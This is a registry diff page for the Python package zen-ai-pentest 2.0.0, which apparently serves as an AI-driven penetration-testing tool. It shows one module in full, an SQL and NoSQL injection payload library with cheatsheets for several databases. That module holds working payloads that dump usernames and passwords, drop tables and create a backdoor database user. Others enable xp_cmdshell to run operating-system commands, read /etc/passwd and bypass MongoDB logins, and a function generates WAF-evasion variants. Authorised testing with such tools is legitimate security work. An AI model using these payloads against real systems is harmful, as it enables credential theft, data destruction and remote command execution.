zen-ai-pentest 2.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (75) hide show
  1. agents/__init__.py +28 -0
  2. agents/agent_base.py +239 -0
  3. agents/agent_orchestrator.py +346 -0
  4. agents/analysis_agent.py +225 -0
  5. agents/cli.py +258 -0
  6. agents/exploit_agent.py +224 -0
  7. agents/integration.py +211 -0
  8. agents/post_scan_agent.py +937 -0
  9. agents/react_agent.py +384 -0
  10. agents/react_agent_enhanced.py +616 -0
  11. agents/react_agent_vm.py +298 -0
  12. agents/research_agent.py +176 -0
  13. api/__init__.py +11 -0
  14. api/auth.py +123 -0
  15. api/main.py +1027 -0
  16. api/schemas.py +357 -0
  17. api/websocket.py +97 -0
  18. autonomous/__init__.py +122 -0
  19. autonomous/agent.py +253 -0
  20. autonomous/agent_loop.py +1370 -0
  21. autonomous/exploit_validator.py +1537 -0
  22. autonomous/memory.py +448 -0
  23. autonomous/react.py +339 -0
  24. autonomous/tool_executor.py +488 -0
  25. backends/__init__.py +16 -0
  26. backends/chatgpt_direct.py +133 -0
  27. backends/claude_direct.py +130 -0
  28. backends/duckduckgo.py +138 -0
  29. backends/openrouter.py +120 -0
  30. benchmarks/__init__.py +149 -0
  31. benchmarks/benchmark_engine.py +904 -0
  32. benchmarks/ci_benchmark.py +785 -0
  33. benchmarks/comparison.py +729 -0
  34. benchmarks/metrics.py +553 -0
  35. benchmarks/run_benchmarks.py +809 -0
  36. ci_cd/__init__.py +2 -0
  37. core/__init__.py +17 -0
  38. core/async_pool.py +282 -0
  39. core/asyncio_fix.py +222 -0
  40. core/cache.py +472 -0
  41. core/container.py +277 -0
  42. core/database.py +114 -0
  43. core/input_validator.py +353 -0
  44. core/models.py +288 -0
  45. core/orchestrator.py +611 -0
  46. core/plugin_manager.py +571 -0
  47. core/rate_limiter.py +405 -0
  48. core/secure_config.py +328 -0
  49. core/shield_integration.py +296 -0
  50. modules/__init__.py +46 -0
  51. modules/cve_database.py +362 -0
  52. modules/exploit_assist.py +330 -0
  53. modules/nuclei_integration.py +480 -0
  54. modules/osint.py +604 -0
  55. modules/protonvpn.py +554 -0
  56. modules/recon.py +165 -0
  57. modules/sql_injection_db.py +826 -0
  58. modules/tool_orchestrator.py +498 -0
  59. modules/vuln_scanner.py +292 -0
  60. modules/wordlist_generator.py +566 -0
  61. risk_engine/__init__.py +99 -0
  62. risk_engine/business_impact.py +267 -0
  63. risk_engine/business_impact_calculator.py +563 -0
  64. risk_engine/cvss.py +156 -0
  65. risk_engine/epss.py +190 -0
  66. risk_engine/example_usage.py +294 -0
  67. risk_engine/false_positive_engine.py +1073 -0
  68. risk_engine/scorer.py +304 -0
  69. web_ui/backend/main.py +471 -0
  70. zen_ai_pentest-2.0.0.dist-info/METADATA +795 -0
  71. zen_ai_pentest-2.0.0.dist-info/RECORD +75 -0
  72. zen_ai_pentest-2.0.0.dist-info/WHEEL +5 -0
  73. zen_ai_pentest-2.0.0.dist-info/entry_points.txt +2 -0
  74. zen_ai_pentest-2.0.0.dist-info/licenses/LICENSE +21 -0
  75. zen_ai_pentest-2.0.0.dist-info/top_level.txt +10 -0
@@ -0,0 +1,826 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ SQL Injection Database Module
4
+ Comprehensive SQL injection payloads, techniques and detection
5
+ Author: SHAdd0WTAka
6
+ """
7
+
8
+ import asyncio
9
+ import base64
10
+ import logging
11
+ import urllib.parse
12
+ from dataclasses import dataclass
13
+ from enum import Enum
14
+ from typing import Dict, List, Optional, Tuple
15
+
16
+ logger = logging.getLogger("ZenAI")
17
+
18
+
19
+ class DBType(Enum):
20
+ """Database types"""
21
+
22
+ MYSQL = "mysql"
23
+ POSTGRESQL = "postgresql"
24
+ MSSQL = "mssql"
25
+ ORACLE = "oracle"
26
+ SQLITE = "sqlite"
27
+ MONGODB = "mongodb" # NoSQL
28
+ REDIS = "redis" # NoSQL
29
+ GENERIC = "generic"
30
+
31
+
32
+ class SQLITechnique(Enum):
33
+ """SQL Injection techniques"""
34
+
35
+ ERROR_BASED = "error_based"
36
+ UNION_BASED = "union_based"
37
+ BLIND_BOOLEAN = "blind_boolean"
38
+ BLIND_TIME = "blind_time"
39
+ STACKED_QUERIES = "stacked_queries"
40
+ OUT_OF_BAND = "out_of_band"
41
+
42
+
43
+ @dataclass
44
+ class SQLPayload:
45
+ """SQL Injection payload"""
46
+
47
+ name: str
48
+ payload: str
49
+ technique: SQLITechnique
50
+ db_type: DBType
51
+ severity: str
52
+ description: str
53
+ expected_result: str
54
+ encoded_variants: Dict[str, str] = None
55
+
56
+
57
+ @dataclass
58
+ class SQLInjectionFinding:
59
+ """SQL Injection finding"""
60
+
61
+ url: str
62
+ parameter: str
63
+ technique: SQLITechnique
64
+ db_type: DBType
65
+ payload: str
66
+ evidence: str
67
+ severity: str = "Critical"
68
+
69
+
70
+ class SQLInjectionDatabase:
71
+ """
72
+ Comprehensive SQL Injection Database
73
+ Contains payloads for various databases and techniques
74
+ """
75
+
76
+ def __init__(self, orchestrator=None):
77
+ self.orchestrator = orchestrator
78
+ self.payloads = self._initialize_payloads()
79
+ self.findings = []
80
+
81
+ def _initialize_payloads(
82
+ self,
83
+ ) -> Dict[DBType, Dict[SQLITechnique, List[SQLPayload]]]:
84
+ """Initialize the payload database"""
85
+ payloads = {}
86
+
87
+ for db in DBType:
88
+ payloads[db] = {}
89
+ for tech in SQLITechnique:
90
+ payloads[db][tech] = []
91
+
92
+ # === MySQL Payloads ===
93
+ payloads[DBType.MYSQL][SQLITechnique.ERROR_BASED] = [
94
+ SQLPayload(
95
+ name="MySQL Error - Single Quote",
96
+ payload="'",
97
+ technique=SQLITechnique.ERROR_BASED,
98
+ db_type=DBType.MYSQL,
99
+ severity="Critical",
100
+ description="Basic error detection with single quote",
101
+ expected_result="MySQL error message revealing SQL syntax",
102
+ ),
103
+ SQLPayload(
104
+ name="MySQL Error - Double Quote",
105
+ payload='"',
106
+ technique=SQLITechnique.ERROR_BASED,
107
+ db_type=DBType.MYSQL,
108
+ severity="Critical",
109
+ description="Error detection with double quote",
110
+ expected_result="MySQL error message",
111
+ ),
112
+ SQLPayload(
113
+ name="MySQL Error - AND 1=1",
114
+ payload=" AND 1=1",
115
+ technique=SQLITechnique.ERROR_BASED,
116
+ db_type=DBType.MYSQL,
117
+ severity="High",
118
+ description="Boolean-based detection",
119
+ expected_result="Query executes normally",
120
+ ),
121
+ SQLPayload(
122
+ name="MySQL Error - AND 1=2",
123
+ payload=" AND 1=2",
124
+ technique=SQLITechnique.ERROR_BASED,
125
+ db_type=DBType.MYSQL,
126
+ severity="High",
127
+ description="Boolean-based false condition",
128
+ expected_result="No results or different page",
129
+ ),
130
+ SQLPayload(
131
+ name="MySQL Error - Divide by Zero",
132
+ payload=" OR 1/0--",
133
+ technique=SQLITechnique.ERROR_BASED,
134
+ db_type=DBType.MYSQL,
135
+ severity="High",
136
+ description="Generate error via divide by zero",
137
+ expected_result="Division by zero error",
138
+ ),
139
+ ]
140
+
141
+ payloads[DBType.MYSQL][SQLITechnique.UNION_BASED] = [
142
+ SQLPayload(
143
+ name="MySQL Union - 1 Column",
144
+ payload=" UNION SELECT NULL--",
145
+ technique=SQLITechnique.UNION_BASED,
146
+ db_type=DBType.MYSQL,
147
+ severity="Critical",
148
+ description="Union select with 1 column",
149
+ expected_result="Union query executed",
150
+ ),
151
+ SQLPayload(
152
+ name="MySQL Union - Version",
153
+ payload=" UNION SELECT @@version--",
154
+ technique=SQLITechnique.UNION_BASED,
155
+ db_type=DBType.MYSQL,
156
+ severity="Critical",
157
+ description="Extract database version",
158
+ expected_result="MySQL version displayed",
159
+ ),
160
+ SQLPayload(
161
+ name="MySQL Union - User",
162
+ payload=" UNION SELECT user()--",
163
+ technique=SQLITechnique.UNION_BASED,
164
+ db_type=DBType.MYSQL,
165
+ severity="Critical",
166
+ description="Extract current user",
167
+ expected_result="Database username",
168
+ ),
169
+ SQLPayload(
170
+ name="MySQL Union - Database",
171
+ payload=" UNION SELECT database()--",
172
+ technique=SQLITechnique.UNION_BASED,
173
+ db_type=DBType.MYSQL,
174
+ severity="Critical",
175
+ description="Extract database name",
176
+ expected_result="Database name displayed",
177
+ ),
178
+ SQLPayload(
179
+ name="MySQL Union - All Tables",
180
+ payload=" UNION SELECT table_name FROM information_schema.tables--",
181
+ technique=SQLITechnique.UNION_BASED,
182
+ db_type=DBType.MYSQL,
183
+ severity="Critical",
184
+ description="Extract all table names",
185
+ expected_result="List of tables",
186
+ ),
187
+ SQLPayload(
188
+ name="MySQL Union - Columns from Table",
189
+ payload=" UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--",
190
+ technique=SQLITechnique.UNION_BASED,
191
+ db_type=DBType.MYSQL,
192
+ severity="Critical",
193
+ description="Extract column names from users table",
194
+ expected_result="List of columns",
195
+ ),
196
+ SQLPayload(
197
+ name="MySQL Union - Dump Users",
198
+ payload=" UNION SELECT CONCAT(username,':',password) FROM users--",
199
+ technique=SQLITechnique.UNION_BASED,
200
+ db_type=DBType.MYSQL,
201
+ severity="Critical",
202
+ description="Dump username and password from users table",
203
+ expected_result="User credentials",
204
+ ),
205
+ ]
206
+
207
+ payloads[DBType.MYSQL][SQLITechnique.BLIND_TIME] = [
208
+ SQLPayload(
209
+ name="MySQL Time - Sleep 5",
210
+ payload="' OR SLEEP(5)--",
211
+ technique=SQLITechnique.BLIND_TIME,
212
+ db_type=DBType.MYSQL,
213
+ severity="Critical",
214
+ description="Time-based detection with 5 second delay",
215
+ expected_result="Response delayed by 5 seconds",
216
+ ),
217
+ SQLPayload(
218
+ name="MySQL Time - Benchmark",
219
+ payload="' OR BENCHMARK(5000000,MD5(1))--",
220
+ technique=SQLITechnique.BLIND_TIME,
221
+ db_type=DBType.MYSQL,
222
+ severity="Critical",
223
+ description="CPU-intensive benchmark for time delay",
224
+ expected_result="Response delayed due to CPU load",
225
+ ),
226
+ SQLPayload(
227
+ name="MySQL Time - Conditional",
228
+ payload="' OR IF(1=1,SLEEP(5),0)--",
229
+ technique=SQLITechnique.BLIND_TIME,
230
+ db_type=DBType.MYSQL,
231
+ severity="Critical",
232
+ description="Conditional time delay",
233
+ expected_result="5 second delay if condition is true",
234
+ ),
235
+ ]
236
+
237
+ payloads[DBType.MYSQL][SQLITechnique.BLIND_BOOLEAN] = [
238
+ SQLPayload(
239
+ name="MySQL Boolean - Length Check",
240
+ payload="' AND LENGTH(DATABASE())=1--",
241
+ technique=SQLITechnique.BLIND_BOOLEAN,
242
+ db_type=DBType.MYSQL,
243
+ severity="High",
244
+ description="Check database name length",
245
+ expected_result="True if database name length matches",
246
+ ),
247
+ SQLPayload(
248
+ name="MySQL Boolean - Substring",
249
+ payload="' AND SUBSTRING(DATABASE(),1,1)='a'--",
250
+ technique=SQLITechnique.BLIND_BOOLEAN,
251
+ db_type=DBType.MYSQL,
252
+ severity="High",
253
+ description="Extract database name character by character",
254
+ expected_result="True if character matches",
255
+ ),
256
+ ]
257
+
258
+ payloads[DBType.MYSQL][SQLITechnique.STACKED_QUERIES] = [
259
+ SQLPayload(
260
+ name="MySQL Stacked - Drop Table",
261
+ payload="'; DROP TABLE users--",
262
+ technique=SQLITechnique.STACKED_QUERIES,
263
+ db_type=DBType.MYSQL,
264
+ severity="Critical",
265
+ description="Stacked query to drop table (destructive!)",
266
+ expected_result="Table dropped (test in safe environment only)",
267
+ ),
268
+ SQLPayload(
269
+ name="MySQL Stacked - Create User",
270
+ payload="'; CREATE USER 'hacker'@'localhost' IDENTIFIED BY 'password'--",
271
+ technique=SQLITechnique.STACKED_QUERIES,
272
+ db_type=DBType.MYSQL,
273
+ severity="Critical",
274
+ description="Create backdoor user",
275
+ expected_result="New user created",
276
+ ),
277
+ ]
278
+
279
+ # === PostgreSQL Payloads ===
280
+ payloads[DBType.POSTGRESQL][SQLITechnique.ERROR_BASED] = [
281
+ SQLPayload(
282
+ name="PostgreSQL Error - Cast",
283
+ payload="::integer",
284
+ technique=SQLITechnique.ERROR_BASED,
285
+ db_type=DBType.POSTGRESQL,
286
+ severity="Critical",
287
+ description="PostgreSQL cast error",
288
+ expected_result="PostgreSQL type cast error",
289
+ ),
290
+ SQLPayload(
291
+ name="PostgreSQL Error - Version",
292
+ payload="'||version()||'",
293
+ technique=SQLITechnique.ERROR_BASED,
294
+ db_type=DBType.POSTGRESQL,
295
+ severity="High",
296
+ description="Extract version via concatenation",
297
+ expected_result="PostgreSQL version in error",
298
+ ),
299
+ ]
300
+
301
+ payloads[DBType.POSTGRESQL][SQLITechnique.UNION_BASED] = [
302
+ SQLPayload(
303
+ name="PostgreSQL Union - Version",
304
+ payload=" UNION SELECT version()--",
305
+ technique=SQLITechnique.UNION_BASED,
306
+ db_type=DBType.POSTGRESQL,
307
+ severity="Critical",
308
+ description="Extract PostgreSQL version",
309
+ expected_result="PostgreSQL version",
310
+ ),
311
+ SQLPayload(
312
+ name="PostgreSQL Union - Current User",
313
+ payload=" UNION SELECT current_user--",
314
+ technique=SQLITechnique.UNION_BASED,
315
+ db_type=DBType.POSTGRESQL,
316
+ severity="Critical",
317
+ description="Extract current user",
318
+ expected_result="Current database user",
319
+ ),
320
+ SQLPayload(
321
+ name="PostgreSQL Union - Tables",
322
+ payload=" UNION SELECT table_name FROM information_schema.tables--",
323
+ technique=SQLITechnique.UNION_BASED,
324
+ db_type=DBType.POSTGRESQL,
325
+ severity="Critical",
326
+ description="Extract all table names",
327
+ expected_result="List of tables",
328
+ ),
329
+ ]
330
+
331
+ payloads[DBType.POSTGRESQL][SQLITechnique.BLIND_TIME] = [
332
+ SQLPayload(
333
+ name="PostgreSQL Time - Sleep",
334
+ payload="'; SELECT pg_sleep(5)--",
335
+ technique=SQLITechnique.BLIND_TIME,
336
+ db_type=DBType.POSTGRESQL,
337
+ severity="Critical",
338
+ description="Time-based with pg_sleep",
339
+ expected_result="5 second delay",
340
+ ),
341
+ SQLPayload(
342
+ name="PostgreSQL Time - Heavy Query",
343
+ payload="'; SELECT (SELECT COUNT(*) FROM generate_series(1,10000000))--",
344
+ technique=SQLITechnique.BLIND_TIME,
345
+ db_type=DBType.POSTGRESQL,
346
+ severity="Critical",
347
+ description="CPU-intensive query for delay",
348
+ expected_result="Response delayed",
349
+ ),
350
+ ]
351
+
352
+ # === MSSQL Payloads ===
353
+ payloads[DBType.MSSQL][SQLITechnique.ERROR_BASED] = [
354
+ SQLPayload(
355
+ name="MSSQL Error - CONVERT",
356
+ payload="' AND 1=CONVERT(int,@@version)--",
357
+ technique=SQLITechnique.ERROR_BASED,
358
+ db_type=DBType.MSSQL,
359
+ severity="Critical",
360
+ description="MSSQL convert error reveals version",
361
+ expected_result="MSSQL version in error",
362
+ ),
363
+ SQLPayload(
364
+ name="MSSQL Error - Cast",
365
+ payload="' AND 1=CAST(@@version AS int)--",
366
+ technique=SQLITechnique.ERROR_BASED,
367
+ db_type=DBType.MSSQL,
368
+ severity="Critical",
369
+ description="MSSQL cast error",
370
+ expected_result="MSSQL version in error",
371
+ ),
372
+ ]
373
+
374
+ payloads[DBType.MSSQL][SQLITechnique.UNION_BASED] = [
375
+ SQLPayload(
376
+ name="MSSQL Union - Version",
377
+ payload=" UNION SELECT @@version--",
378
+ technique=SQLITechnique.UNION_BASED,
379
+ db_type=DBType.MSSQL,
380
+ severity="Critical",
381
+ description="Extract MSSQL version",
382
+ expected_result="SQL Server version",
383
+ ),
384
+ SQLPayload(
385
+ name="MSSQL Union - User",
386
+ payload=" UNION SELECT SYSTEM_USER--",
387
+ technique=SQLITechnique.UNION_BASED,
388
+ db_type=DBType.MSSQL,
389
+ severity="Critical",
390
+ description="Extract system user",
391
+ expected_result="Current system user",
392
+ ),
393
+ SQLPayload(
394
+ name="MSSQL Union - Databases",
395
+ payload=" UNION SELECT name FROM master.dbo.sysdatabases--",
396
+ technique=SQLITechnique.UNION_BASED,
397
+ db_type=DBType.MSSQL,
398
+ severity="Critical",
399
+ description="List all databases",
400
+ expected_result="All database names",
401
+ ),
402
+ ]
403
+
404
+ payloads[DBType.MSSQL][SQLITechnique.BLIND_TIME] = [
405
+ SQLPayload(
406
+ name="MSSQL Time - WAITFOR",
407
+ payload="'; WAITFOR DELAY '0:0:5'--",
408
+ technique=SQLITechnique.BLIND_TIME,
409
+ db_type=DBType.MSSQL,
410
+ severity="Critical",
411
+ description="Time-based with WAITFOR",
412
+ expected_result="5 second delay",
413
+ ),
414
+ ]
415
+
416
+ payloads[DBType.MSSQL][SQLITechnique.STACKED_QUERIES] = [
417
+ SQLPayload(
418
+ name="MSSQL Stacked - Enable XP_CMDSHELL",
419
+ payload="'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--",
420
+ technique=SQLITechnique.STACKED_QUERIES,
421
+ db_type=DBType.MSSQL,
422
+ severity="Critical",
423
+ description="Enable xp_cmdshell for RCE",
424
+ expected_result="xp_cmdshell enabled",
425
+ ),
426
+ SQLPayload(
427
+ name="MSSQL Stacked - Execute Command",
428
+ payload="'; EXEC xp_cmdshell 'whoami'--",
429
+ technique=SQLITechnique.STACKED_QUERIES,
430
+ db_type=DBType.MSSQL,
431
+ severity="Critical",
432
+ description="Execute OS command via xp_cmdshell",
433
+ expected_result="Command output",
434
+ ),
435
+ ]
436
+
437
+ # === Oracle Payloads ===
438
+ payloads[DBType.ORACLE][SQLITechnique.ERROR_BASED] = [
439
+ SQLPayload(
440
+ name="Oracle Error - UTL_INADDR",
441
+ payload="' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT banner FROM v$version WHERE rownum=1))--",
442
+ technique=SQLITechnique.ERROR_BASED,
443
+ db_type=DBType.ORACLE,
444
+ severity="Critical",
445
+ description="Oracle error-based extraction",
446
+ expected_result="Oracle version in error",
447
+ ),
448
+ ]
449
+
450
+ payloads[DBType.ORACLE][SQLITechnique.UNION_BASED] = [
451
+ SQLPayload(
452
+ name="Oracle Union - Version",
453
+ payload=" UNION SELECT banner FROM v$version WHERE rownum=1--",
454
+ technique=SQLITechnique.UNION_BASED,
455
+ db_type=DBType.ORACLE,
456
+ severity="Critical",
457
+ description="Extract Oracle version",
458
+ expected_result="Oracle version",
459
+ ),
460
+ SQLPayload(
461
+ name="Oracle Union - User",
462
+ payload=" UNION SELECT user FROM dual--",
463
+ technique=SQLITechnique.UNION_BASED,
464
+ db_type=DBType.ORACLE,
465
+ severity="Critical",
466
+ description="Extract current user",
467
+ expected_result="Current Oracle user",
468
+ ),
469
+ ]
470
+
471
+ payloads[DBType.ORACLE][SQLITechnique.BLIND_TIME] = [
472
+ SQLPayload(
473
+ name="Oracle Time - DBMS_LOCK",
474
+ payload="' AND 1=(SELECT CASE WHEN (1=1) THEN DBMS_LOCK.SLEEP(5) ELSE 1 END FROM dual)--",
475
+ technique=SQLITechnique.BLIND_TIME,
476
+ db_type=DBType.ORACLE,
477
+ severity="Critical",
478
+ description="Time-based with DBMS_LOCK.SLEEP",
479
+ expected_result="5 second delay",
480
+ ),
481
+ ]
482
+
483
+ # === SQLite Payloads ===
484
+ payloads[DBType.SQLITE][SQLITechnique.UNION_BASED] = [
485
+ SQLPayload(
486
+ name="SQLite Union - Version",
487
+ payload=" UNION SELECT sqlite_version()--",
488
+ technique=SQLITechnique.UNION_BASED,
489
+ db_type=DBType.SQLITE,
490
+ severity="Critical",
491
+ description="Extract SQLite version",
492
+ expected_result="SQLite version",
493
+ ),
494
+ SQLPayload(
495
+ name="SQLite Union - Tables",
496
+ payload=" UNION SELECT tbl_name FROM sqlite_master WHERE type='table'--",
497
+ technique=SQLITechnique.UNION_BASED,
498
+ db_type=DBType.SQLITE,
499
+ severity="Critical",
500
+ description="Extract table names",
501
+ expected_result="List of tables",
502
+ ),
503
+ ]
504
+
505
+ # === NoSQL (MongoDB) Payloads ===
506
+ payloads[DBType.MONGODB][SQLITechnique.ERROR_BASED] = [
507
+ SQLPayload(
508
+ name="MongoDB - $ne Operator",
509
+ payload='{"username": {"$ne": null}, "password": {"$ne": null}}',
510
+ technique=SQLITechnique.ERROR_BASED,
511
+ db_type=DBType.MONGODB,
512
+ severity="Critical",
513
+ description="NoSQL injection with $ne operator",
514
+ expected_result="Authentication bypass",
515
+ ),
516
+ SQLPayload(
517
+ name="MongoDB - $gt Operator",
518
+ payload='{"username": {"$gt": ""}, "password": {"$gt": ""}}',
519
+ technique=SQLITechnique.ERROR_BASED,
520
+ db_type=DBType.MONGODB,
521
+ severity="Critical",
522
+ description="NoSQL injection with $gt operator",
523
+ expected_result="Authentication bypass",
524
+ ),
525
+ SQLPayload(
526
+ name="MongoDB - $regex",
527
+ payload='{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}',
528
+ technique=SQLITechnique.ERROR_BASED,
529
+ db_type=DBType.MONGODB,
530
+ severity="Critical",
531
+ description="NoSQL injection with $regex",
532
+ expected_result="Authentication bypass",
533
+ ),
534
+ ]
535
+
536
+ # === Generic Payloads ===
537
+ payloads[DBType.GENERIC][SQLITechnique.ERROR_BASED] = [
538
+ SQLPayload(
539
+ name="Generic - Single Quote",
540
+ payload="'",
541
+ technique=SQLITechnique.ERROR_BASED,
542
+ db_type=DBType.GENERIC,
543
+ severity="High",
544
+ description="Basic single quote test",
545
+ expected_result="SQL error",
546
+ ),
547
+ SQLPayload(
548
+ name="Generic - Double Quote",
549
+ payload='"',
550
+ technique=SQLITechnique.ERROR_BASED,
551
+ db_type=DBType.GENERIC,
552
+ severity="High",
553
+ description="Double quote test",
554
+ expected_result="SQL error",
555
+ ),
556
+ SQLPayload(
557
+ name="Generic - Backslash",
558
+ payload="\\",
559
+ technique=SQLITechnique.ERROR_BASED,
560
+ db_type=DBType.GENERIC,
561
+ severity="High",
562
+ description="Backslash escape test",
563
+ expected_result="SQL error",
564
+ ),
565
+ SQLPayload(
566
+ name="Generic - Comment",
567
+ payload="--",
568
+ technique=SQLITechnique.ERROR_BASED,
569
+ db_type=DBType.GENERIC,
570
+ severity="Medium",
571
+ description="Comment injection",
572
+ expected_result="Query terminated",
573
+ ),
574
+ SQLPayload(
575
+ name="Generic - Semicolon",
576
+ payload=";",
577
+ technique=SQLITechnique.ERROR_BASED,
578
+ db_type=DBType.GENERIC,
579
+ severity="High",
580
+ description="Stacked query attempt",
581
+ expected_result="Error or second query executed",
582
+ ),
583
+ ]
584
+
585
+ return payloads
586
+
587
+ def get_payloads(
588
+ self, db_type: DBType = None, technique: SQLITechnique = None
589
+ ) -> List[SQLPayload]:
590
+ """Get payloads filtered by database type and/or technique"""
591
+ results = []
592
+
593
+ dbs = [db_type] if db_type else list(DBType)
594
+ techs = [technique] if technique else list(SQLITechnique)
595
+
596
+ for db in dbs:
597
+ for tech in techs:
598
+ if db in self.payloads and tech in self.payloads[db]:
599
+ results.extend(self.payloads[db][tech])
600
+
601
+ return results
602
+
603
+ def encode_payload(self, payload: str, encoding: str) -> str:
604
+ """Encode payload with various methods"""
605
+ encodings = {
606
+ "url": urllib.parse.quote(payload),
607
+ "double_url": urllib.parse.quote(urllib.parse.quote(payload)),
608
+ "base64": base64.b64encode(payload.encode()).decode(),
609
+ "hex": payload.encode().hex(),
610
+ "unicode": "".join([f"\\u{ord(c):04x}" for c in payload]),
611
+ }
612
+ return encodings.get(encoding, payload)
613
+
614
+ def generate_waf_bypass_variants(self, payload: str) -> List[str]:
615
+ """Generate WAF bypass variants of a payload"""
616
+ variants = [payload]
617
+
618
+ # Case variations
619
+ variants.append(payload.replace("SELECT", "SeLeCt").replace("UNION", "UnIoN"))
620
+
621
+ # Space alternatives
622
+ variants.append(payload.replace(" ", "/**/"))
623
+ variants.append(payload.replace(" ", "%09"))
624
+ variants.append(payload.replace(" ", "%0a"))
625
+
626
+ # Comment injection
627
+ variants.append(payload.replace(" ", "/*!50000*/"))
628
+
629
+ # URL encoding
630
+ variants.append(urllib.parse.quote(payload))
631
+
632
+ # Double encoding
633
+ variants.append(urllib.parse.quote(urllib.parse.quote(payload)))
634
+
635
+ # Unicode normalization
636
+ variants.append(payload.replace("'", "%ef%bc%87")) # Fullwidth apostrophe
637
+
638
+ return list(set(variants)) # Remove duplicates
639
+
640
+ async def analyze_response(
641
+ self, original_response: str, modified_response: str, payload: str
642
+ ) -> Optional[SQLInjectionFinding]:
643
+ """Analyze if response indicates SQL injection"""
644
+
645
+ # SQL error patterns
646
+ error_patterns = [
647
+ (r"SQL syntax.*MySQL", DBType.MYSQL),
648
+ (r"Warning.*mysql_.*\(", DBType.MYSQL),
649
+ (r"valid MySQL result", DBType.MYSQL),
650
+ (r"MySqlClient\.", DBType.MYSQL),
651
+ (r"PostgreSQL.*ERROR", DBType.POSTGRESQL),
652
+ (r"Warning.*pg_.*\(", DBType.POSTGRESQL),
653
+ (r"valid PostgreSQL result", DBType.POSTGRESQL),
654
+ (r"Npgsql\.", DBType.POSTGRESQL),
655
+ (r"Driver.*SQL.*Server", DBType.MSSQL),
656
+ (r"OLE DB.*SQL Server", DBType.MSSQL),
657
+ (r"(\W|\A)SQL.*Server.*Driver", DBType.MSSQL),
658
+ (r"Warning.*mssql_.*\(", DBType.MSSQL),
659
+ (r"(\W|\A)SQL.*Server.*[0-9a-fA-F]{8}", DBType.MSSQL),
660
+ (r"Exception.*Oracle", DBType.ORACLE),
661
+ (r"Oracle error", DBType.ORACLE),
662
+ (r"Oracle.*Driver", DBType.ORACLE),
663
+ (r"Warning.*oci_.*\(", DBType.ORACLE),
664
+ (r"Microsoft.*OLE.*DB.*Oracle", DBType.ORACLE),
665
+ (r"SQLite/JDBCDriver", DBType.SQLITE),
666
+ (r"SQLite\.Exception", DBType.SQLITE),
667
+ (r"System\.Data\.SQLite\.SQLiteException", DBType.SQLITE),
668
+ (r"Warning.*sqlite_.*\(", DBType.SQLITE),
669
+ (r"\[SQLITE_ERROR\]", DBType.SQLITE),
670
+ ]
671
+
672
+ import re
673
+
674
+ for pattern, db_type in error_patterns:
675
+ if re.search(pattern, modified_response, re.IGNORECASE):
676
+ return SQLInjectionFinding(
677
+ url="",
678
+ parameter="",
679
+ technique=SQLITechnique.ERROR_BASED,
680
+ db_type=db_type,
681
+ payload=payload,
682
+ evidence=f"Error pattern matched: {pattern}",
683
+ severity="Critical",
684
+ )
685
+
686
+ # Check for time-based injection (would need timing info)
687
+ # Check for boolean-based (compare original vs modified)
688
+
689
+ return None
690
+
691
+ def get_cheatsheet(self, db_type: DBType) -> str:
692
+ """Get SQL injection cheatsheet for a database"""
693
+ cheatsheets = {
694
+ DBType.MYSQL: """
695
+ MySQL SQL Injection Cheatsheet:
696
+
697
+ Comments:
698
+ -- - (space required after --)
699
+ #
700
+ /* */
701
+
702
+ Version:
703
+ SELECT @@version
704
+ SELECT version()
705
+
706
+ User:
707
+ SELECT user()
708
+ SELECT system_user()
709
+ SELECT session_user()
710
+
711
+ Database:
712
+ SELECT database()
713
+ SELECT schema()
714
+
715
+ String Concatenation:
716
+ SELECT CONCAT('a','b')
717
+ SELECT 'a' 'b'
718
+
719
+ Substrings:
720
+ SELECT SUBSTRING('abc',1,1)
721
+ SELECT MID('abc',1,1)
722
+
723
+ ASCII:
724
+ SELECT ASCII('A')
725
+
726
+ Length:
727
+ SELECT LENGTH('abc')
728
+
729
+ Conditional:
730
+ SELECT IF(1=1,'true','false')
731
+ SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END
732
+
733
+ Time Delay:
734
+ SELECT SLEEP(5)
735
+ SELECT BENCHMARK(1000000,MD5(1))
736
+
737
+ File Operations:
738
+ SELECT LOAD_FILE('/etc/passwd')
739
+ SELECT 'content' INTO OUTFILE '/tmp/file'
740
+
741
+ Information Schema:
742
+ SELECT table_name FROM information_schema.tables
743
+ SELECT column_name FROM information_schema.columns WHERE table_name='users'
744
+ """,
745
+ DBType.POSTGRESQL: """
746
+ PostgreSQL SQL Injection Cheatsheet:
747
+
748
+ Comments:
749
+ --
750
+ /* */
751
+ //
752
+
753
+ Version:
754
+ SELECT version()
755
+
756
+ User:
757
+ SELECT current_user
758
+ SELECT session_user
759
+ SELECT user
760
+
761
+ String Concatenation:
762
+ SELECT 'a' || 'b'
763
+ SELECT CONCAT('a','b')
764
+
765
+ Substrings:
766
+ SELECT SUBSTRING('abc',1,1)
767
+ SELECT substr('abc',1,1)
768
+
769
+ ASCII:
770
+ SELECT ASCII('A')
771
+
772
+ Time Delay:
773
+ SELECT pg_sleep(5)
774
+ SELECT (SELECT COUNT(*) FROM generate_series(1,10000000))
775
+
776
+ File Operations:
777
+ SELECT pg_read_file('postgresql.conf')
778
+ COPY (SELECT '') TO '/tmp/file'
779
+
780
+ Information Schema:
781
+ SELECT table_name FROM information_schema.tables
782
+ """,
783
+ DBType.MSSQL: """
784
+ MSSQL SQL Injection Cheatsheet:
785
+
786
+ Comments:
787
+ --
788
+ /* */
789
+
790
+ Version:
791
+ SELECT @@version
792
+
793
+ User:
794
+ SELECT SYSTEM_USER
795
+ SELECT CURRENT_USER
796
+ SELECT SUSER_SNAME()
797
+
798
+ Database:
799
+ SELECT DB_NAME()
800
+
801
+ String Concatenation:
802
+ SELECT 'a' + 'b'
803
+ SELECT CONCAT('a','b')
804
+
805
+ Substrings:
806
+ SELECT SUBSTRING('abc',1,1)
807
+
808
+ ASCII:
809
+ SELECT ASCII('A')
810
+
811
+ Time Delay:
812
+ WAITFOR DELAY '0:0:5'
813
+ WAITFOR TIME '12:00:00'
814
+
815
+ Command Execution:
816
+ EXEC xp_cmdshell 'whoami'
817
+ EXEC sp_configure 'show advanced options', 1; RECONFIGURE
818
+ EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE
819
